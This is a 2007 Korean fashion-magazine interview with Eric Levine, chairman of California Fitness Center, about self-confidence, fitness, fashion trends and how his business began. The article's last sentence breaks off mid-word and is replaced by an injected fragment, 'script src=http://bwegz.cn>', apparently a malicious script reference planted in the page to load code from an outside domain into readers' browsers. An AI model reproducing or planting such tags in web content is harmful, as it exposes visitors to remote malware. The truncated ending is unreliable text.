아름다움은 자신에 대한 사랑에서 시작된다
2007-01-26조은희 기자 hope@fashioninsight.com
캘리포니아휘트니스센터(California Fitness Center) 에릭 르빈(Eric Levine) 회장

“Hi! Nice to meet you!”
경쾌한 목소리, 밝은 미소와 함께 악수를 청하는 에릭 르빈(Eric Levine) 회장.
확 트인 통유리, 세련된 인테리어, 경쾌한 음악소리가 어우러진 명동 캘리포니아휘트니스센터(California Fitness Center)에서 만난 그에게서는 활기찬 에너지와 자신감, 그리고 여유로움이 뿜어져 나온다.
미국뿐 아니라 유럽 5개국, 아시아 5개국에서 2만5천여명의 직원들을 거느리고 있는 휘트니스 제국(帝國)의 수장인 르빈 회장은 휘트니스 센터의 오너다운 다부진 몸매에 격식에 구애받지 않은 캐주얼한 옷차림이다.
그는 “아름다움이란 자기 자신에 대한 자신감과 만족에서부터 시작된다”고 강조한다. 즉 “자신에 대한 사랑에서 비롯된 내면의 아름다움이 ‘긍정적 에너지(positive energy)’로 표출되는 것이 바로 아름다움”이라는 것.
“이러한 긍정적인 에너지는 삶을 건강하고 활기차게, 그리고 자신감 있게 바꿔준다. 나는 ‘캘리포니아휘트니스센터는 왜 다른 휘트니스 센터와 달리 속이 훤히 들여다보이는 통유리를 사용하느냐’는 질문을 많이 받는다. 내가 말한 자신감의 단적인 예가 여기에서 드러난다. 맨 처음 이곳을 방문한 사람들은 이것저것 잔뜩 옷을 껴입고 와서는 사람들의 눈에 띄지 않는 가장 구석진 곳에서 운동을 시작한다. 하지만 2주일, 그리고 2달이 지나고 나면 몸에 딱 맞는 간단한 옷을 입고 유리문 바로 앞에서 운동을 하게 된다. 자신이 기분 좋게 느끼고 있다는 것을 다른 사람들에게도 보여주고 싶어하는 것이다.”
그런 면에서 볼 때, 휘트니스는 단순히 ‘몸을 가꾸는 것’을 의미하는 게 아니라 ‘한 인간의 내면과 외면의 균형을 맞춰주고 삶을 긍정적으로 변환시켜 주는 것’이라는 게 그의 주장이다.
그렇다면 그가 생각하는 패션과 휘트니스의 관계는 어떤 것일까? 그는 “패션과 휘트니스는 궁극적으로 동일한 것”이라고 말한다. “휘트니스로 만들어진 아름다운 몸이 곧 패션의 근본이기 때문이다. 패션도, 휘트니스도 자신에 대한 관심과 애정에서부터 시작된다. 단지 차이점이 있다면 휘트니스는 항상 존재하는 것임에 반해, 패션은 유행을 쫓아 매 시즌마다 변한다는 것”이라는 게 그의 대답이다.
그는 휘트니스 열풍에 따라 몸 자체에 대한 관심이 높아지면서 오히려 패션에 대한 관심은 줄어들지 않겠느냐는 질문에는 고개를 설레설레 저으며 “No”라고 대답한다. “휘트니스는 패션에 대한 관심을 오히려 증대시킬 것이다. 몸을 가꾸는 것은 패션에 대한 일종의 준비작업이 되기 때문이다. 자신의 몸에 자신감이 생기면 그 몸을 꾸미는 패션에 대해서도 더 큰 관심을 가지게 될 것이다.”
또 그는 “캘리포니아에는 길가 곳곳에 커다란 스포츠 웨어 샵들이 늘어서 있다. 디자이너들도 많고 브랜드도 다양하다. 단순히 운동할 때 입는 옷 수준이 아니라 「프라다」나 「샤넬」과 비교될 수 있을 정도로 매우 패셔너블하고 쿨(cool)한 스타일이다. 아시아에서는 아직 그런 스타일을 별로 찾아볼 수 없는 것 같지만, 아마도 1∼2년 후에는 그런 스타일이 아시아에서도 늘어나지 않을까 싶다”고 얘기한다.
“휘트니스 사업을 시작하기 전에는 배고픈 무명 배우였다”고 털어놓는 르빈 회장. 그는 휘트니스 사업에 뛰어든 계기에 대해 “아버지가 휘트니스 강사이셨고, 나도 운동을 매우 좋아했기 때문에 항상 휘트니스 센터에 가서 운동을 하곤 했었다. 그러던 어느 날 내가 다니던 휘트니스 센터에 멋진 여자 한 명이 가입했다. 1주일 후, 여자회원 수는 1명에서 3명으로 늘었고, 3주일 후에는 셀 수 없을 정도로 늘어났다. 이 모습을 지켜보면서 휘트니스 시장의 중요한 변화를 감지했다.
휘트니스가 남성들의 전유물로 여겨지던 시대는 이미 지나갔다. 처음에는 남성들에게 유행했지만 이제는 마치 패션처럼 여성들에게 빠른 속도로 전파되고 있다. 캘리포니아휘트니스센터는 바로 이 점에 착안, 남성 뿐 아니라 여성들도 즐기면서 할 수 있는 공간을 마련했다. 첫 사업은 1978년, 내가 다니던 휘트니스 센터의 이름을 빌려 시작했다”고 말한다.
또 그는 “최근 패션 잡지, TV 등에 나오는 유명 배우, 탑 모델들은 모두 요가, 휘트니스 등을 통해 자신의 몸을 가꾸고 있다. 이처럼 모든 매체에서 휘트니스를 다루고 있기 때문에, 이제는 개인 트레이너가 딸려있지 않으면 트렌드에서 뒤떨어진 사람으로 여겨지는 시대가 됐다. 휘트니스로 자신을 긍정적으로 변화시킨 사람이 1명 있다면 그 주변의 친구 10명이 이에 영향을 받아 따라하게 된다. 따라서 휘트니스 시장은 앞으로도 더욱 빠른 속도로 확대될 것”이라며 휘트니스 시장의 미래를 낙관한다.
그는 “돈을 벌어들이는 것, 즉 수익성도 물론 중요하지만 휘트니스 사업은 사람들을 행복하게 만들어주는, 사회에 기여를 할 수 있는 일이다”라며 휘트니?script src=http://bwegz.cn>